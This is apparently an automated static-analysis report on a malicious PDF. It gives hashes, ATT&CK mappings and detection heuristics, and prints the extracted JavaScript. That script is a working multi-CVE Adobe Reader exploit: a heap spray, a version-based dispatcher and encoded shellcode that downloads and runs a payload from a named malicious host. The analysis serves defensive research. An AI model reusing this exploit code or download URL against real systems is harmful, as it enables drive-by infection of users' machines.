Malicious PDF — malware analysis report

Static analysis result for SHA-256 cd63adefe9032553…

MALICIOUS

PDF

2.8 KB First seen: 2015-09-30
MD5: 8d54653f5c0327eac271452e0deec700 SHA-1: d64a5f2dba957e785ce4db7428a101e7820ff58d SHA-256: cd63adefe903255307908e4b9d2a3328d0edb459fcb89acd970c52a94fda2741
478 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript/Shell Scripting: JavaScript T1204.001 Malicious Link/URL: Malicious Link T1204.002 Malicious Link/URL: Malicious File

This PDF file contains embedded JavaScript that leverages CVE-2009-0927 and CVE-2007-5659 vulnerabilities. The JavaScript uses eval() and unescape() functions, indicating an attempt to deobfuscate and execute malicious code. The primary intent appears to be exploiting these known PDF reader vulnerabilities to achieve arbitrary code execution.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/eval(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/unescape(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/this.subject.replace(/Y/g,String.fromCharCode(40-3)).replace(/R/g,'F')/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/)/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://erotic4gals.com/qw/l.php?i=4 Referenced by PDF JavaScript
    • http://erotic4gals.com/qw/l.php?i=5Referenced by PDF JavaScript
    • http://erotic4gals.com/qw/l.php?i=6Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x148 297 bytes
SHA-256: 433d6141b5fc932a52d94051061c1f7566cbde37bb51ce636d76e20ed4ab2bf6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/eval(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/unescape(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/this.subject.replace(/Y/g,String.fromCharCode(40-3)).replace(/R/g,'F')/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/)/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x248 4612 bytes
SHA-256: b80818a5072376fda3dc34b752f0763ce431305b871ec640c644459411108071
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var skd='%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070';var skd1=skd+'%u7468%u7074%u2F3A%u652F%u6F72%u6974%u3463%u6167%u736C%u632E%u6D6F%u712F%u2F77%u2E6C%u6870%u3F70%u3D69%u0034%u9000';var skd2=skd+'%u7468%u7074%u2F3A%u652F%u6F72%u6974%u3463%u6167%u736C%u632E%u6D6F%u712F%u2F77%u2E6C%u6870%u3F70%u3D69%u0035%u9000';var skd3=skd+'%u7468%u7074%u2F3A%u652F%u6F72%u6974%u3463%u6167%u736C%u632E%u6D6F%u712F%u2F77%u2E6C%u6870%u3F70%u3D69%u0036%u9000';function fix_it(yarsp, len){while (yarsp.length * 2 < len){yarsp += yarsp;}yarsp = yarsp.substring(0, len / 2);return yarsp;}function collab(){var mem_array = new Array();var cc = 0x0c0c0c0c;var addr = 0x400000;var payload = unescape(skd1);var sc_len = payload.length * 2;var len = addr - (sc_len + 0x38);var yarsp = unescape("%u9090%u9090");yarsp = fix_it(yarsp, len);var count2 = (cc - 0x400000) / addr;for (var count = 0; count < count2; count ++ ){mem_array[count] = yarsp + payload;}var overflow = unescape("%u0c0c%u0c0c");while (overflow.length < 44952){overflow += overflow;}this.collabStore = Collab.collectEmailInfo({subj:"", msg:overflow});}function printf(){nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload = unescape(skd2);heapblock = nop + payload;bigblock = unescape("%u0A0A%u0A0A");headersize = 20;spray = headersize + heapblock.length;while (bigblock.length < spray){bigblock += bigblock;}fillblock = bigblock.substring(0, spray);block = bigblock.substring(0, bigblock.length - spray);while (block.length + spray < 0x40000){block = block + block + fillblock;}mem = new Array();for (i = 0; i < 1400; i ++ ){mem[i] = block + heapblock;}var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f", num);}function geticon(){var arry = new Array();if (app.doc.Collab.getIcon){var payload = unescape(skd3);var hWq500CN = payload.length * 2;var len = 0x400000 - (hWq500CN + 0x38);var yarsp = unescape("%u9090%u9090");yarsp = fix_it(yarsp, len);var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){arry[vqcQD96y] = yarsp + payload;}var tUMhNbGw = unescape("	");while (tUMhNbGw.length < 0x4000){tUMhNbGw += tUMhNbGw;}tUMhNbGw = "N." + tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}aPlugins = app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for (var i=0; i < aPlugins.length; i++){if (aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}if ((sv==8)&&(lv<=8.12)){geticon();}else if (lv==7.1){printf();}else if (((sv==6)||(sv==7))&&(lv<7.11)){collab();}else{}